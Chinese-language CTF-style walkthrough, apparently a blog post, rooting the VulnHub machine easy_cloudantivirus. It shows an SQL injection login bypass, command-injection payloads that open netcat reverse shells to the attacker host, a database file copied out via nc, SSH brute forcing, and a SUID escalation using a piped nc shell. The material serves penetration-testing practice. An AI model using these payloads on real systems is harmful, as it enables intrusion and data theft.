0x02-easy_cloudantivirus

靶机介绍:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
靶机下载地址:https://download.vulnhub.com/boredhackerblog/easy_cloudantivirus.ova
通关目标:取得目标靶机的root权限
攻击机:kali(10.0.2.10)
目标靶机:easy_cloudantivirus(10.0.2.13)

涉及攻击方法:

 ● 主机发现
 ● 端口扫描
 ● 目录扫描
 ● SQL注入
 ● 暴力破解
 ● 命令注入
 ● NC串联
 ● 信息搜集
 ● SSH爆破
 ● 代码审计
 ● SUID提权

简要流程:

主机发现:

  本次打靶使用arping进行主机发现,这款工具几乎在所有的linux发行版本中都会默认安装,适用性更强。
在这里插入图片描述

端口扫描:

  对10.0.2.13进行全端口扫描:
   ○ nmap -p- 10.0.2.13
   ○ nmap -p 1-65535 10.0.2.13
在这里插入图片描述

服务版本探测:

  8080端口:开放了http服务,Werkzeug是一个工具包,作为web框架的底层库。
在这里插入图片描述

WEB侦查+目录扫描:

  访问web服务,根据页面的提示信息猜测,需要输入正确的邀请码登录成功后才能使用云杀软扫描器;
  有一处form表单,可以尝试sql注入绕过身份验证或者暴力破解枚举邀请码;
  同时进行目录扫描,没有什么收获。
在这里插入图片描述
在这里插入图片描述

SQL注入:

  使用bp的Intruder模块进行fuzz测试,建议将键盘上所有的特殊符号作为字典;结果显示,当提交数据为"时Status列和Length列与其余的不同,并触发了服务器端的报错。
  注:在任何的编程语言中,符号往往都有特殊的功能,如果服务器存在注入漏洞,那么在注入点注入特殊符号的时候,就会导致服务器代码执行出错,造成语法语义上的歧义,从而使服务器无法正常处理请求。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
  漏洞分析:password参数可控,用户提交的数据拼接到sql查询语句中。
在这里插入图片描述
  构造payload" or 10-- ,成功登录。
在这里插入图片描述
在这里插入图片描述

暴力破解:

  爆破出的结果是password ,尝试在表单中输入password并提交,成功登录。
在这里插入图片描述
在这里插入图片描述
  字典推荐:
     https://github.com/TheKingOfDuck/fuzzDicts      https://github.com/rootphantomer/Blasting_dictionary
     https://github.com/danielmiessler/SecLists

命令注入:

  大胆猜测,当我们在表单输入某个文件名并提交给服务器后,服务器端可能会调用杀软程序执行命令,比如avscan hello,这里可能存在命令注入漏洞,测试一下hello | id(页面返回结果较慢,用时8s左右)。
在这里插入图片描述

NC串联:

  证实存在命令注入漏洞,接下来反弹shell,通过上面nmap的扫描结果得知服务器端运行了python2.7开发环境,可以使用python反弹shell代码;
  这里介绍另外一种反弹shell方式,nc工具;
  首先查看服务器端是否有nc命令hello | which nc
在这里插入图片描述
  kali上开启监听:
在这里插入图片描述
  在form表单中提交payloadhello | nc 10.0.2.10 1111 -e /bin/bash,去回连kali的1111端口:
在这里插入图片描述
  等待一段时间后,发现kali上并没有接收到反弹的shell连接,猜测靶机的nc版本较低,不支持-e参数,使用nc串联来解决;
  kali开两个终端,分别监听1111、2222端口;然后在浏览器的表单提交payloadhello | nc 10.0.2.10 1111 | /bin/bash | nc 10.0.2.10 2222
在这里插入图片描述
在这里插入图片描述

信息搜集:

  连接建立成功后,已经获得一个scanner低权限用户的权限,ls命令查看到当前目录下存在4个文件,并升级成交互式shell:
在这里插入图片描述
  database.sql文件十分可疑,应该是Web应用程序的数据库,使用file命令查看文件的格式:
在这里插入图片描述
  靶机没有安装sqlite环境,只能将其下载到kali上,使用NC传输文件:
  kali上执行nc -nvlp 3333 > db.sql
在这里插入图片描述
  反弹shell窗口执行nc 10.0.2.10 3333 < database.sql
在这里插入图片描述
  查看数据库文件内容,可以看到数据表code中只有一个字段password,插入了四条密码:
在这里插入图片描述

SSH爆破:

  通过上面nmap的扫描结果得知靶机开放了ssh服务,尝试登录目标系统;利用cat /etc/passwd | grep /bin/bash找出有shell权限的用户,构造用户名和密码字典,然后使用hydra对靶机的ssh服务进行爆破,没有什么收获。
  注:/bin/false:用户不能登录系统,并且不会有任何提示,一切系统服务都不能用;
        /sbin/nologin:拒绝用户登录系统,会有提示信息,能使用一些系统服务。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SUID提权:

  尝试内核漏洞提权,没有找到可以利用的exp:
在这里插入图片描述
在这里插入图片描述
  尝试sudo提权,权限不足:
在这里插入图片描述
  尝试suid提权,使用find命令查找具有suid权限的文件;update_cloudav是一个具有suid权限的可执行文件,update_cloudav.c是它的源码文件:
在这里插入图片描述
在这里插入图片描述
  进行源码审计,存在system函数,调用freshclam程序(用来升级病毒库),需要带有参数才能正常执行,否则会输出提示信息,并结束main函数:
在这里插入图片描述
  kali另开两个终端,分别监听4444、5555端口;构造payload执行命令./update_cloudav "xx |nc 10.0.2.10 4444|/bin/bash|nc 10.0.2.10 5555",提权成功。
在这里插入图片描述

打靶过程的坑:

1.靶机获取不到ip地址:
  尝试使用virtualbox运行靶机,单用户模式修改网卡配置以及更换网络连接方式均未果;
  使用vmware workstation pro导入靶机镜像,网络连接模式选择的是NAT,开机后按shift进入grub引导页面,按e键,找到内核加载的配置行,删除ro后面的字符,将ro替换为rw single init=/bin/bash(单用户启动模式),按Ctrl+x,ip a查看当前网卡信息;
在这里插入图片描述
  使用dhclient命令或ifconfig ens33 down + ifconfig ens33 up获取ip地址(临时生效);
  修改网卡配置文件:
    ubuntu:vi /etc/netplan/xxx.yaml
    redhat:vi /etc/network/interfaces
    使用lsb_release -a查看系统版本:
在这里插入图片描述
    网卡配置文件中的网卡名称与实际网卡名称不一致,导致网卡无法正常启动;将其修改为当前正确的网卡名称,保存配置并重启系统。
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值